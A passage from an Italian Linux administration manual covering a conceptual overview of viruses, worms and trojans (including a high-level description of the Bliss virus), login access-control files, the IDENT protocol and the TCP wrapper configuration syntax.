49 Introduzione ai problemi di sicurezza con la rete 2033 Verifica di tutti i programmi che hanno il bit SUID o SGID attivato, a meno di quelli che notoriamente devono avere questo privilegio. Verifica della presenza del bit Sticky nelle directory che sono accessibili in scrittura da tutti gli utenti. Verifica del valore della maschera dei permessi riferita alla configurazione dell utente root. Verifica dei permessi dei file di dispositivo. Copie di sicurezza Copia di sicurezza completa (livello zero) ogni mese. Copia di sicurezza incrementale (livello uno) almeno ogni due settimane. Utilizzo di sistemi di memorizzazione WORM, 2 come i CD-R, per le copie di sicurezza di livello zero Riferimenti Kevin Fenzi, Linux Security HOWTO < Dan Farmer, Wietse Venema, Improving the Security of Your Site by Breaking Into it, 1995 < Christopher Klaus, Backdoors, 1997 < Steven M. Bellovin, There Be Dragons, 1992 < David A. Curry, Improving the security of your UNIX systems, 1990 < CERT (Computer Emergency Response Team) Coordination Center < Mathematics and Computing Science Dept. of Eindhoven University of Technology (the Netherlands, Europe) <ftp://ftp.porcupine.org/pub/security/> Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org 2 Un sistema di memorizzazione che consente la scrittura una volta sola e non permette la cancellazione successiva (salvo il caso della distruzione fisica).

50 Virus, vermi e cavalli di Troia Capitolo 183 Nello studio dei problemi di sicurezza legati all uso di strumenti informatici, non vanno trascurati i virus e il software modificato ad arte per arrecare qualche tipo di danno. Lo scopo di questo capitolo è quello di fare comprendere il problema, pur senza poterlo risolvere in modo definitivo Classificazione Di per sé, non è molto importante classificare il software che arreca danno in qualche modo, se non per il fatto che questo permette di avere una visione un po più chiara del problema. In generale si distinguono due tipi fondamentali: i virus e i cavalli di Troia. Eventualmente si considerano anche i vermi, come sottogruppo particolare dei virus. Il virus è un pezzo di codice in grado di riprodursi nel sistema, attaccandosi ai programmi già esistenti, agli script, sostituendosi al settore di avvio di un disco o di una partizione, inserendosi all interno di file di dati che prevedono la presenza di macroistruzioni. Naturalmente, un virus non è necessariamente in grado di fare tutto questo simultaneamente: dipende da chi lo realizza il modo in cui riuscirà a riprodursi. Un cavallo di Troia, o trojan (troiano), è un programma che di per sé svolgerebbe una funzione più o meno utile, che però nasconde una parte di codice indesiderabile. Il classico cavallo di Troia è un gioco, che mentre viene utilizzato fa anche qualcosa di diverso, come cancellare dei file, oppure spedire all esterno informazioni sulla configurazione del proprio sistema. Un cavallo di Troia potrebbe essere anche un programma normale che sia stato infettato ad arte con un virus, allo scopo di diffondere il virus stesso. Il verme è un sottoinsieme specifico dei virus, il cui intento principale è quello di diffondersi attraverso la rete. Generalmente, anche se non sempre, il verme si cancella una volta che è riuscito a copiarsi all esterno Fidarsi o non fidarsi Si comprende facilmente il senso di un cavallo di Troia. Come sempre vale la solita raccomandazione: «non accettare nulla -- caramelle o qualunque altra cosa -- dagli estranei». Infatti, una caramella può essere avvelenata, un oggetto appuntito potrebbe essere stato infettato con qualche sostanza, 1 così come un programma può essere stato alterato ad arte. Purtroppo, spesso non ci sono alternative alla «fiducia», soprattutto quando il programma in questione è accessibile solo in forma di eseguibile senza sorgente. Ad aggravare il problema, le normative di vari paesi vietano espressamente la decompilazione, cioè lo studio dei programmi a partire dalla loro forma eseguibile, cosa che rende difficile una verifica a seguito dell insorgere di un qualche sospetto. L unica possibilità per salvaguardarsi di fronte a questo problema è l uso di programmi provvisti di sorgente, verificati e compilati personalmente. 2 Evidentemente non si tratta di una soluzione accessibile a tutti, sia per le capacità necessarie, sia per il tempo che ciò richiede. Purtroppo, però, resta l unica, se si vuole escludere la fiducia. La fiducia, ammesso che ci sia, non basta, perché occorre verificare che il tale programma non sia stato manomesso da una persona differente da quella di cui ci si fida. Infatti, un programma normale potrebbe diventare un cavallo di Troia contenente un virus, o comunque contenere qualcosa di aggiunto per qualche fine. Questa verifica può essere fatta attraverso l uso di una firma elettronica (si veda a questo proposito il capitolo 195). 1 Secondo una vecchia tradizione non si regalano spille e altri oggetti appuntiti con cui ci si può ferire. 2 Esiste anche software proprietario che viene messo a disposizione in forma sorgente. 2034

51 Virus, vermi e cavalli di Troia Programmi imprevisti Una volta compreso il pericolo legato ai programmi, che possono essere cavalli di Troia, oppure possono contenere un virus, si può credere di avere risolto il problema se si evita di installarne di nuovi. Tuttavia, un «programma» può essere inserito anche all interno di file di dati, nel momento in cui questo può diventare uno script o un insieme di macro-istruzioni di qualche tipo. È nota l esistenza di virus «macro», costituiti da macro-istruzioni contenute in documenti di programmi di scrittura o in fogli elettronici. Nello stesso modo non è da escludere la possibilità di acquisire un documento TeX o anche PostScript contenente istruzioni che possono arrecare dei danni nel momento della composizione (si tratta di operazioni legate all accesso al file system). Sotto questo aspetto, i problemi maggiori si avvertono quando i programmi di questo tipo possono essere inseriti in documenti a cui si accede attraverso la rete. Per esempio, una pagina HTML potrebbe incorporare uno script Java, 3 o peggio un programma Java (le applet). In questa situazione, solo il programma di navigazione può impedire che venga fatto qualcosa di dannoso, ammesso che possa essere in grado di farlo. Generalmente, l unica alternativa è impedire l esecuzione di script e programmi esterni, accettando tutte le conseguenze che ciò comporta, dato che in questo modo diventa impossibile accedere ad alcuni servizi. Un ultima considerazione va fatta nei confronti dei programmi allegati a messaggi di posta elettronica. Nel momento in cui il programma di lettura della posta dovesse essere «troppo» amichevole, si potrebbe arrivare a estrarre e installare tali programmi, quasi senza rendersene conto. Sono noti gli attacchi di questo tipo che colpiscono inesorabilmente gli utenti più ingenui Limitare la diffusione di un virus In linea di principio, non ci sono difese che tengano contro un virus o un cavallo di Troia realizzati con perizia. Tuttavia, qualche accorgimento può essere utile, soprattutto se si ritiene che il proprio sistema operativo di partenza sia abbastanza «sicuro» (cosa che comunque non si può dimostrare). In generale valgono le solite raccomandazioni che si fanno in queste occasioni. Evitare di utilizzare software che non sia stato compilato personalmente, dopo un esame attento dei sorgenti, o comunque, evitare di utilizzare software compilato da persone sconosciute e anche da persone conosciute per le quali non si può verificare l autenticità dell origine. Evitare di abilitare l esecuzione di script e programmi incorporati in documenti ottenuti attraverso la rete (file HTML e posta elettronica principalmente). Evitare di usare il sistema in qualità di utente root quando non serve: un virus avrebbe i privilegi necessari per infettare tutto il sistema, mentre un cavallo di Troia avrebbe accesso a tutti i file di dispositivo. Utilizzare un sistema di scansione realizzato appositamente per verificare le alterazioni nei file, come AIDE e Tripwire (capitolo 188). 3 Teoricamente i file HTML possono incorporare anche molti altri tipi di script, purché il navigatore sia poi in grado di interpretarli.

52 2036 Virus, vermi e cavalli di Troia Bliss Un sistema Unix è l ideale per realizzare un virus con grande facilità. Non serve nemmeno essere programmatori; basterebbe appena sapere scrivere uno script di shell. Qui non si vuole e non si può mostrare un esempio pratico di virus del genere, perché la diffusione di tali informazioni potrebbe invogliare le solite persone di poco conto a realizzarne dei propri. Tuttavia, la descrizione di massima del funzionamento di un virus reale può essere di aiuto per comprendere il problema. Bliss è stato il primo virus realizzato specificatamente per i sistemi GNU/Linux, che comunque potrebbe essere ricompilato facilmente per la maggior parte dei sistemi Unix. Le informazioni sul suo funzionamento sono state ottenute da un analisi condotta da Ray Lehtiniemi, come documentato in Bliss, a Linux "virus" di Axel Boldt. Bliss si attacca ai file eseguibili (compresi gli script) nella loro parte iniziale, aggiungendo in coda una stringa di riconoscimento (una firma, ovvero un impronta virale). Quando si avvia un programma infettato in questo modo, in realtà si mette in funzione il virus, che fa le sue cose e poi estrae il file originale salvandolo temporaneamente in /tmp/.bliss-tmp.pid (pid rappresenta il numero del processo), da dove poi provvede a metterlo in funzione. È da osservare che tutto è molto semplice, al contrario di tanti virus realizzati per sistemi Dos e successivi, in cui si arriva ad alterare le istruzioni del codice eseguibile che viene infettato. Bliss è evidentemente solo una dimostrazione di questo pericolo. Qui sono stati trascurati tanti dettagli sul suo funzionamento che riguardano però lo scopo «pratico». Ma per comprendere cosa può fare un virus, basta solo un po di fantasia. Si intuisce facilmente il pericolo di un virus latente, che non fa nulla di eclatante per mostrarsi, rimanendo in attesa di fare ciò per cui è stato creato e messo in circolazione Riferimenti Axel Boldt, Bliss, a Linux "virus" <math- Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

53 Filtri di accesso standard Capitolo 184 Il primo punto su cui intervenire per affrontare i problemi di sicurezza di un sistema, è quello del filtro di accesso. Questo compito è svolto fondamentalmente da Login, che può essere configurato in modo differente a seconda dell organizzazione della propria distribuzione GNU Configurazione di Login Il programma che si occupa di controllare chi accede attraverso una console o un terminale al sistema, ovvero Login, potrebbe offrire qualche strumento minimo di configurazione per controllare gli accessi. In generale, la presenza del file /etc/nologin impedisce l accesso e il file /etc/securetty stabilisce da quali terminali può accedere l utente root. Alcuni tipi di Login permettono di controllare l accesso degli utenti comuni attraverso la configurazione del file /etc/usertty ; altri potrebbero utilizzare la configurazione di /etc/ login.access. Qui viene mostrato come si potrebbero utilizzare questi file, quando il programma Login che si ha a disposizione ne prevede l uso. Per sapere esattamente come è organizzato il proprio Login, è indispensabile leggere la sua pagina di manuale, login(1), tenendo conto però, che potrebbe anche non essere aggiornata /etc/usertty Attraverso il file /etc/usertty è possibile limitare l accesso degli utenti. Solitamente non viene utilizzato e la sua mancanza consente a tutti gli utenti del sistema di accedere da dove vogliono, quando vogliono, a parte la restrizione che riguarda l utente root in base alla configurazione del file /etc/securetty. In linea di massima, se il programma Login è stato compilato in modo da utilizzarlo, il file /etc/ usertty permette di definire l origine e la fascia oraria attraverso cui ogni utente può accedere. Il file /etc/usertty può contenere commenti, introdotti dal simbolo # e terminati dalla fine della riga; inoltre può contenere righe bianche o vuote, che vengono ignorate. Per il resto, le direttive che può contenere sono raggruppate in tre sezioni possibili, denominate: CLASSES, GROUPS e USERS. CLASSES GROUPS USERS elemento origine Ognuna delle tre sezioni inizia con la parola chiave che la identifica, scritta con tutti i caratteri maiuscoli, come si vede dallo schema sintattico. Le righe seguenti, fino all indicazione della sezione successiva, rappresentano la definizione di elementi della sezione a cui si abbinano delle origini. In pratica, elemento origine... serve a definire il nome di un elemento riferito alla sezione a cui appartiene, il quale consente l accesso dalle origini indicate. Tra il nome e l elenco di origini si possono utilizzare uno o più spazi orizzontali (comprese le tabulazioni); l elenco dei nomi è separato a sua volta attraverso altri spazi orizzontali. Un origine, nel senso degli schemi sintattici mostrati, rappresenta un terminale o un nodo espressi in qualche modo, da cui l utente che vi appartiene può accedere. L origine può contenere anche l indicazione di una fascia oraria in cui è consentito l accesso. 2037

54 2038 Filtri di accesso standard La cosa migliore, per cominciare, è mostrare un esempio in cui appare l uso di tutte le sezioni. CLASSES terminale_console elaboratore_locale rete_locale GROUPS studenti prof tty1 tty2 tty3 tty4 @ / rete_locale tty1 terminale_console elaboratore_locale rete_locale USERS tizio tty1 tty2 tty3 caio tty4 tty5 tty6 * rete_locale L esempio mostra la sequenza normale nell indicazione delle sezioni. La prima, CLASSES, permette di definire delle classi, ovvero dei nomi che possono essere richiamati nelle altre sezioni. A fianco di ogni nome di classe viene riportato l elenco delle origini a cui queste fanno riferimento. Intuitivamente, si intende che la classe terminale_console rappresenta gli accessi provenienti da una console virtuale qualunque, da /dev/tty1 a /dev/tty6 ; nello stesso modo si può comprendere che la classe rete_locale rappresenta tutti gli accessi provenienti da nodi appartenenti al dominio brot.dg o alla sottorete *. La sezione GROUPS permette di definire dei gruppi, secondo quanto riportato nel file /etc/ group, abbinando agli utenti relativi la possibilità di accedere attraverso origini determinate. Nell esempio, gli utenti del gruppo studenti possono accedere dagli accessi definiti dalla classe rete_locale e anche dalla prima console ( /dev/tty1 ). La sezione USERS permette di definire l accesso dei singoli utenti. Per esempio, l utente tizio può accedere solo dalle prime tre console virtuali. In generale, se un utente ricade all interno della definizione di un elemento della sezione GROUPS e anche in uno della sezione USERS, le sue possibilità di accesso sono date dall unione delle due. All interno della sezione USERS può apparire un elemento speciale, l asterisco ( * ), che rappresenta qualsiasi utente. Seguendo l esempio, oltre ai nominativi indicati esplicitamente, si fa in modo che ogni utente possa accedere da qualunque nodo della rete locale. A parte la comprensione intuitiva, le origini possono essere espresse in modi differenti, secondo uno degli schemi seguenti. Quanto mostrato rappresenta solo una prima approssimazione; in ogni caso, un origine può essere espressa da: 1. il nome di una classe definita precedentemente; 2. il nome del file di dispositivo del terminale corrispondente, togliendo il percorso /dev/ ; 3. un nome di dominio che rappresenta tutti i nodi che gli appartengono; 4. l indirizzo di una sottorete, composto dal numero IPv4 e dalla maschera relativa; 5. la che rappresenta un accesso proveniente dallo stesso sistema locale.

55 Filtri di accesso standard 2039 Tuttavia, l origine può contenere anche l indicazione di una fascia oraria in cui quella tale origine fisica (o logica) può avere accesso. Naturalmente, questo vale per tutti i casi visti, escluso le classi, che in realtà servono per definire un gruppo di origini complete. Una fascia oraria viene indicata davanti a un origine di quelle elencate fino a questo punto e la si distingue perché è racchiusa tra parentesi quadre. La fascia oraria può contenere l indicazione di uno o più giorni della settimana e di uno o più intervalli orari. La fascia oraria è composta quindi da un elenco di elementi, separati da due punti verticali ( : ). Si osservi l esempio seguente: [mon:tue:wed:thu:fri:8-17:20] L esempio rappresenta una fascia oraria corrispondente all intervallo dalle 8:00 alle 17:59 e dalle 20:00 alle 20:59, di tutti i giorni da lunedì a venerdì. Intuitivamente si comprende che esiste un approssimazione obbligata di un ora per gli intervalli orari e che non è possibile indicare informazioni sui giorni diversi da un ambito strettamente settimanale. Una fascia oraria di questo tipo deve contenere almeno un indicazione di un intervallo orario. Per un esempio più completo, si osservi il pezzo seguente del file /etc/usertty che rappresenta una sezione USERS. L utente tizio può accedere dalla prima console virtuale solo il sabato e la domenica dalle 8:00 alle 22:59; poi può accedere anche dalle origini specificate dalla classe rete_locale, dato che ciò è concesso indistintamente per tutti gli utenti. USERS tizio [sat:sun:8-22]tty1 caio tty4 tty5 tty6 * rete_locale /etc/login.access Il file /etc/login.access svolge funzioni simili a /etc/usertty. Il suo scopo è quello di definire chi può o non può accedere al sistema, in base all origine da cui tenta di accedere. A differenza di /etc/usertty, non è possibile definire delle fasce orarie; ma per questo viene in aiuto il file di configurazione /etc/porttime. Il file /etc/login.access può contenere commenti, preceduti dal simbolo #, righe bianche e righe vuote. Per il resto si tratta di direttive in forma di record composti da tre campi separati attraverso il simbolo di due punti ( : ). Si osservi lo schema sintattico seguente: permesso:elenco_utenti :origini Il primo campo può contenere solo i simboli + e -, che indicano rispettivamente la concessione o il rifiuto all accesso. + -:elenco_utenti :origini Le direttive vengono lette sequenzialmente nel momento in cui un utente tenta di accedere; la prima a cui corrisponde l utente stesso, è quella che viene applicata. Se nessuna direttiva corrisponde, l accesso viene concesso. L elenco degli utenti, è un elenco spaziato di nomi di utente o di gruppo. In generale, viene cercata prima la corrispondenza con il nome dell utente e solo dopo si prova con il gruppo. Tuttavia, la corrispondenza con il gruppo avviene solo se l utente in questione è aggregato esplicitamente al gruppo stesso. Questo significa che se l utente tizio è abbinato al gruppo lavoro, ma nel file /etc/group questo non è indicato, l utente in questione non verrà riconosciuto come appartenente a tale gruppo. Nel secondo campo può apparire anche la parola chiave ALL, ovvero un jolly che rappresenta tutti gli utenti.

56 2040 Filtri di accesso standard Nel terzo campo si indicano le origini da cui potrebbero provenire i tentativi di accesso; anche in questo caso si tratta di un elenco spaziato. Può trattarsi di: terminali locali, ovvero console virtuali, rappresentati dai nomi dei file di dispositivo senza l indicazione del percorso ( tty1, tty2, ecc.); nomi di dominio completo o parziale (si riconoscono perché iniziano con un punto); indirizzi IP, che in tal caso devono terminare con un punto; nomi di domini NIS, che iniziano con il Nel terzo campo possono apparire anche le parole chiave ALL e LOCAL, che indicano rispettivamente tutte le origini, oppure solo le origini locali (ovvero qualunque stringa che non contenga un punto). Viene mostrato un esempio descritto attraverso dei commenti: # L utente root può accedere solo da origini locali. +:root:local # Gli utenti tizio, caio e semproni possono accedere dalle prime # sei console virtuali, dal nodo locale e anche da roggen.brot.dg. +:tizio caio semproni:tty1 tty2 tty3 tty4 tty5 tty6 +:tizio caio semproni:localhost roggen.brot.dg # Tutte le altre combinazioni di accesso non sono consentite. -:ALL:ALL /etc/porttime Il file di configurazione /etc/porttime completa le funzionalità di /etc/login.access. Il suo utilizzo effettivo dipende da Login e probabilmente dalla configurazione attraverso /etc/ login.defs, descritto nel capitolo 55. Il file /etc/porttime permette di definire delle combinazioni tra i terminali di accesso e i tempi in cui gli utenti possono accedere. Il file può contenere commenti, preceduti dal simbolo #, righe bianche e righe vuote. Per il resto si tratta di direttive in forma di record composti da tre campi separati attraverso il simbolo di due punti ( : ). Si osservi lo schema sintattico seguente: terminale[, terminale]...:utente [, utente]...:periodo [, periodo]... I tre campi consentono l indicazione di elenchi di elementi, separati attraverso una virgola. Il primo campo rappresenta il nome di uno o più terminali, così come sono identificati dai file di dispositivo (senza il percorso); in particolare, per indicare tutti i terminali, si può usare l asterisco. Il secondo campo è un elenco di utenti a cui si vuole applicare la direttiva; anche in questo caso si può usare l asterisco per indicarli tutti. Il terzo campo indica i periodi di accesso, attraverso una stringa un po articolata: sigle_giorni_settimanaora_inizio -ora_fine I giorni della settimana si esprimono attraverso sigle particolari, come si vede nella tabella 184.1; se necessario si possono unire più sigle assieme.

57 Filtri di accesso standard 2041 Tabella Elenco delle sigle utilizzabili per identificare i giorni della settimana. Sigla Al Wk Mo Tu We Th Fr Sa Su Significato Tutti i giorni della settimana. I giorni dal lunedì al venerdì. Il lunedì. Il martedì. Il mercoledì. Il giovedì. Il venerdì. Il sabato. La domenica. Gli orari si indicano con stringhe di quattro cifre numeriche, dove la prima coppia di cifre rappresenta l ora e la seconda i minuti. Per esempio, *:tizio,caio:wk consente l accesso da parte degli utenti tizio e caio tutti i giorni dal lunedì al venerdì dalle ore 16:30 alla mezzanotte. L esempio seguente, invece, consente solo all utente root di accedere attraverso /dev/console, escludendo tutti gli altri utenti: console:root:al console:*: La prima direttiva per la quale si ottenga corrispondenza tra i primi due campi e l utente che tenta di accedere, è quella che si applica. Se nel seguito ci fossero direttive più permissive, queste non verrebbero applicate. L esempio seguente esclude l accesso di tutti gli utenti, incluso l utente root, perché la seconda direttiva non viene presa in considerazione: *:*: *:*:Al Infine, l esempio seguente consente l accesso all utente tizio solo nei giorni di lunedì e martedì: *:tizio:motu Per come è stato descritto, questo file di configurazione permette soltanto di impedire gli accessi al di fuori degli orari stabiliti. Per imporre che siano rispettati i tempi, occorre il demone logoutd, descritto nella pagina di manuale logoutd(8), il cui scopo è di sorvegliare in tal senso, imponendo la chiusura delle connessioni quando queste superano gli orari previsti. Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

58 Capitolo 185 Protocollo IDENT In quasi tutte le distribuzioni GNU, nella configurazione del supervisore dei servizi di rete è prevista l attivazione del servizio IDENT, corrispondente alla porta auth (113). Nel caso di Inetd, il file /etc/inetd.conf potrebbe contenere una riga simile a quella seguente: auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o In alternativa, se il proprio sistema GNU è configurato diversamente, la riga in questione potrebbe essere più simile a quella seguente: ident stream tcp nowait nobody /usr/sbin/identd identd -l -e -o Il demone identd ha lo scopo di controllare i collegamenti per mezzo del protocollo TCP. In tal modo è in grado di informare il nodo all altro capo del collegamento sul nominativo-utente di chi esegue quel collegamento. Si osservi la figura Figura Il protocollo IDENT serve a fornire alla controparte le informazioni necessarie a identificare l utente che ha in corso una connessione TCP particolare porta 1108 porta nodo A > nodo B identd in Connessione TCP funzione < Protocollo IDENT «Chi è che ha attivato la connessione 23,1108?» Seguendo l esempio della figura, se un utente del nodo «A» ha iniziato una connessione TCP con il nodo «B» (in questo caso si tratta di TELNET), dal nodo «B» può essere richiesto al nodo «A» di fornire le informazioni sull utente che esegue il processo responsabile del collegamento. Come si vede, tale richiesta viene fatta usando il protocollo IDENT e la risposta può essere fornita solo se l origine gestisce tale servizio. Fornire questo tipo di informazione è utile, al contrario di ciò che si potrebbe pensare, purché il demone identd non sia stato compromesso e fornisca informazioni corrette. Se un utente di un sistema che fornisce il servizio IDENT, utilizzando il protocollo TCP, cercasse di aggredire un qualche nodo esterno, l amministratore di questo potrebbe ottenere il nominativo-utente di questa persona attraverso il protocollo IDENT. Successivamente, tale amministratore avrebbe modo di essere più dettagliato nel riferire l accaduto al suo collega del sistema da cui è originato l attacco, a tutto vantaggio di questo ultimo amministratore Avvio del demone Il demone identd 1 è in grado di fornire alla controparte di una connessione TCP il nominativoutente del proprietario del processo che l ha avviata. identd può fornire anche altre informazioni, ma questo non rappresenta il suo scopo normale, che è invece quello di consentire il monitoraggio degli accessi da parte dei destinatari delle connessioni. 2 /usr/sbin/in.identd [opzioni] È il caso di sottolineare che, per fornire esclusivamente le informazioni strettamente necessarie al raggiungimento di tale obiettivo, si utilizzano normalmente le opzioni -l, -e, -o ed eventualmente si può valutare la possibilità di aggiungere anche -n. 1 Netstd software libero con licenza speciale 2 Se la propria distribuzione GNU distingue un pacchetto specifico per il demone identd, questo potrebbe chiamarsi Pidentd. In altri casi, potrebbe far parte del pacchetto di base per la gestione dei servizi di rete. 2042

59 Protocollo IDENT 2043 identd è in grado di conoscere esclusivamente l utente «reale» del processo. Per cui, un processo avviato con il bit SUID attivo otterrà i privilegi dell utente proprietario del file binario, pertanto sarà questo utente a essere mostrato da identd. Tabella Alcune opzioni della riga di comando di identd. Opzione -b -l -o -e -n -N Descrizione Utilizzando l opzione -b si permette l avvio di identd in modo indipendente dal supervisore dei servizi di rete. In generale, si preferisce attivare il servizio IDENT attraverso il supervisore dei servizi di rete. Se viene utilizzata questa opzione, è necessario indicarne delle altre per informare identd di una serie di cose che altrimenti sono gestite dal supervisore dei servizi di rete. Per conoscerle si può consultare la pagina di manuale identd(8). Attiva la registrazione delle richieste IDENT nel registro del sistema. Non si tratta della registrazione dei nomi degli utenti che si connettono, ma delle sole richieste fatte dai nodi remoti che chiedono «chiarimenti» sulle connessioni partite dal sistema locale verso di loro. Fa in modo che non venga rivelato il nome del sistema operativo. Al suo posto viene restituita la parola OTHER. Fa in modo di non specificare la motivazione degli errori. Senza questa opzione, identd potrebbe restituire informazioni del tipo: NO-USER, INVALID-PORT. Con questa opzione, l unico messaggio di errore è UNKNOWN-ERROR. Utilizzando questa opzione, si fa in modo che identd non fornisca il nome dell utente proprietario del processo che instaura la connessione, restituendo al suo posto il numero UID. Permette agli utenti di nascondersi attraverso la creazione di un file ~/.noident. È chiaro che per gli scopi in cui è utile tale servizio, questa opzione non deve essere usata; diversamente un aggressore che non vuole essere identificato potrebbe bloccare facilmente identd. L esempio seguente rappresenta l utilizzo normale di identd, attraverso la dichiarazione all interno della configurazione del supervisore dei servizi di rete; in questo caso il file /etc/ inetd.conf. Si può osservare l uso delle opzioni -l, -e e -o, con cui si attiva l annotazione nel registro del sistema, si eliminano le informazioni sul sistema operativo e sul tipo di errori commessi durante l interrogazione del servizio. # /etc/inetd.conf #... auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o Si osservi l assenza del richiamo al TCP wrapper, dal momento che questo servizio deve essere accessibile a tutti i nodi e non solo a quelli che passano il filtro stabilito all interno di /etc/hosts.allow e /etc/hosts.deny. Inoltre, il TCP wrapper non può essere utilizzato soprattutto perché esso stesso può essere configurato per interrogare l origine di una richiesta attraverso il protocollo IDENT, formando in tal caso un ciclo senza fine.

60 2044 Protocollo IDENT Interrogazione del servizio e librerie A quanto pare manca un programma di servizio specifico per l interrogazione del servizio IDENT; in pratica si deve utilizzare un cliente TELNET verso la porta 113 (denominata auth ). Il primo problema è quello di scoprire le porte della connessione che si intende verificare alla fonte. Questo lo si fa con netstat. A titolo di esempio, si immagina di essere nel nodo «B» dello schema mostrato nella figura e di volere verificare l origine di una connessione TELNET proveniente dal nodo «A» (proprio come mostrava la figura). Prima di tutto, si deve scoprire che esiste una connessione TELNET (sospetta), cosa che avviene attraverso la lettura dei messaggi del registro del sistema. Purtroppo, se il TCP wrapper non è configurato correttamente, potrebbe mancare l indicazione delle porte utilizzate, costringendo ad andare un po per tentativi. Si suppone che sia in corso attualmente un unica connessione di questo tipo, in tal caso la lettura del rapporto di netstat non può generare equivoci. $ netstat -n Il rapporto potrebbe essere piuttosto lungo. Per quello che riguarda questo esempio, si potrebbe notare l estratto seguente: Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State... tcp : :1108 ESTABLISHED... Il punto di vista è quello del nodo , mentre il nodo remoto è Per interrogare il servizio IDENT presso il nodo remoto si utilizza un cliente TELNET nel modo seguente (eventualmente, al posto del nome auth si può indicare direttamente il numero: 113). $ telnet auth[ Invio ] Trying Connected to Escape character is ^]. 1108, 23[ Invio ] 1108, 23 : USERID : OTHER :tizio Connection closed by foreign host. Così si viene a conoscere che la connessione è intrattenuta dall utente tizio@ Un demone di un servizio qualunque potrebbe essere modificato in modo da utilizzare sistematicamente il protocollo IDENT per interpellare i clienti, annotando nel registro del sistema gli utenti che accedono. Per questo e altri utilizzi, esiste la libreria libident, disponibile con quasi tutte le distribuzioni GNU. Probabilmente, solo la distribuzione Debian acclude il demone identtestd assieme alla libreria libident. Si tratta di un programma da collocare nel file di configurazione del supervisore dei servizi di rete, per esempio /etc/inetd.conf, collegandolo a una porta non utilizzata, il cui scopo è solo quello di restituire le informazioni di chi dovesse fare un tentativo di accesso attraverso un cliente TELNET su quella stessa porta. In pratica, identtestd serve esclusivamente per verificare il funzionamento del proprio servizio IDENT. Nel caso si utilizzi Inetd, si attiva il servizio (diagnostico) attraverso una riga come quella seguente, nel file /etc/inetd.conf stream tcp nowait root /usr/sbin/in.identtestd in.identtestd

61 Protocollo IDENT 2045 Una volta riavviato il supervisore dei servizi di rete, si può interpellare tale «servizio» con un cliente TELNET da un nodo in cui è presente IDENT, per verificarne il funzionamento. Si osservi l esempio. # telnet [ Invio ] Trying Connected to Escape character is ^]. Welcome to the IDENT server tester, version 1.9 (Linked with libident-libident 0.21 Debian 4) Connecting to Ident server at Querying for lport 2252, fport Reading response data... Userid response is: Lport Fport Opsys... OTHER Charset... <not specified> Identifier... root Connection closed by foreign host. Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

62 TCP wrapper più in dettaglio Capitolo 186 L uso del TCP wrapper (il programma tcpd ) è già stato descritto in modo sommario nel capitolo 135. In quella fase sono state trascurate le sue potenzialià di controllo, che possono estendersi fino all utilizzo del protocollo IDENT. La configurazione del TCP wrapper avviene esclusivamente attraverso i file /etc/ hosts.allow e /etc/hosts.deny, all interno dei quali si possono utilizzare direttive più complesse di quelle già viste in precedenza. In ogni caso, è bene ribadire che lo scopo di questi file è quello di trovare una corrispondenza con l utente e il nodo che tenta di accedere a uno dei servizi messi sotto il controllo del supervisore dei servizi di rete e di altri servizi che incorporano il TCP wrapper attraverso delle librerie. La verifica inizia dal file /etc/hosts.allow e continua con /etc/hosts.deny, fermandosi alla prima corrispondenza corretta. Se la corrispondenza avviene con una direttiva del file /etc/hosts.allow, l accesso è consentito; se la corrispondenza avviene con una direttiva di /etc/hosts.deny, l accesso è impedito; se non avviene alcuna corrispondenza l accesso è consentito Limiti e particolarità del TCP wrapper In generale, le connessioni RPC non si riescono a controllare facilmente con il TCP wrapper. In particolare, i servizi annotati come RPC-TCP nel file di configurazione del supervisore dei servizi di rete non sono gestibili attraverso il programma tcpd. Alcuni demoni UDP e RPC rimangono attivi al termine del loro lavoro, in attesa di un ulteriore richiesta eventuale. Questi servizi sono registrati nel file /etc/inetd.conf con l opzione wait e così si possono riconoscere facilmente. Come si può intuire, solo la richiesta che li avvia può essere controllata da tcpd. Alcuni dettagli di funzionamento di tcpd sono definiti in fase di compilazione dei sorgenti. Si tratta in particolare dell opzione di compilazione -DPARANOID, con la quale è come se fosse sempre attivo il jolly PARANOID nei file /etc/hosts.allow e /etc/hosts.deny. Di solito, i pacchetti già compilati del TCP wrapper sono stati ottenuti senza questa opzione, in modo da lasciare la libertà di configurarlo come si vuole. Un altro elemento che può essere definito con la compilazione è il tipo di direttive che si possono accettare nei file /etc/hosts.allow e /etc/hosts.deny. Le due sintassi possibili sono descritte in due documenti separati: hosts_access(5) e hosts_options(5) Configurazione del TCP wrapper In questa sezione viene mostrata in particolare la sintassi dei file /etc/hosts.allow e /etc/hosts.deny, quando nella fase di compilazione di tcpd non è stata abilitata l estensione PROCESS_OPTIONS ; in pratica quella più limitata. Negli esempi si mostreranno anche le corrispondenze con il secondo tipo di formato, che può essere approfondito leggendo hosts_options(5). elenco_di_demoni : elenco_di_clienti [ : comando_di_shell ] La sintassi mostrata, che si riferisce al tipo più semplice di formato delle direttive di questi file, potrebbe essere trasformata in quello più complesso nel modo seguente: elenco_di_demoni : elenco_di_clienti [ : spawn comando_di_shell ] 2046

63 TCP wrapper più in dettaglio 2047 Quando non si sa quale sia il formato giusto per il proprio tcpd, basta provare prima quello più semplice. Se non va bene si vede subito la segnalazione di errore nel registro del sistema. I primi due elementi, l elenco di demoni e l elenco di clienti, sono già stati descritti nel capitolo 135. Vale forse la pena di ricordare che questi «elenchi» sono semplicemente nomi o modelli separati da spazi orizzontali, cosa che spiega la necessità di separare i vari campi delle direttive attraverso i due punti verticali. Ciò che appare a partire dal terzo campo di queste direttive (nel caso mostrato si tratta di un comando di shell, ma con la sintassi più complessa si parla piuttosto di opzioni), può contenere delle variabili, rappresentate da un simbolo di percentuale ( % ) seguito da una lettera, che vengono espanse da tcpd ogni volta che viene verificata la corrispondenza con quella direttiva determinata che le contiene (tabella 186.1). Variabile Tabella Elenco delle variabili utilizzabili in alcune parti delle direttive dei file di controllo degli accessi. Contenuto %a L indirizzo del nodo cliente. %A L indirizzo del nodo servente. %c L informazione completa del nodo cliente per quanto disponibile. %d Il nome del processo del demone. %h Il nome del nodo cliente o l indirizzo se il nome non è disponibile. %H Il nome del nodo servente o l indirizzo se il nome non è disponibile. %n Il nome del nodo cliente o unknown o paranoid. %N Il nome del nodo servente o unknown o paranoid. %p Il numero del processo del 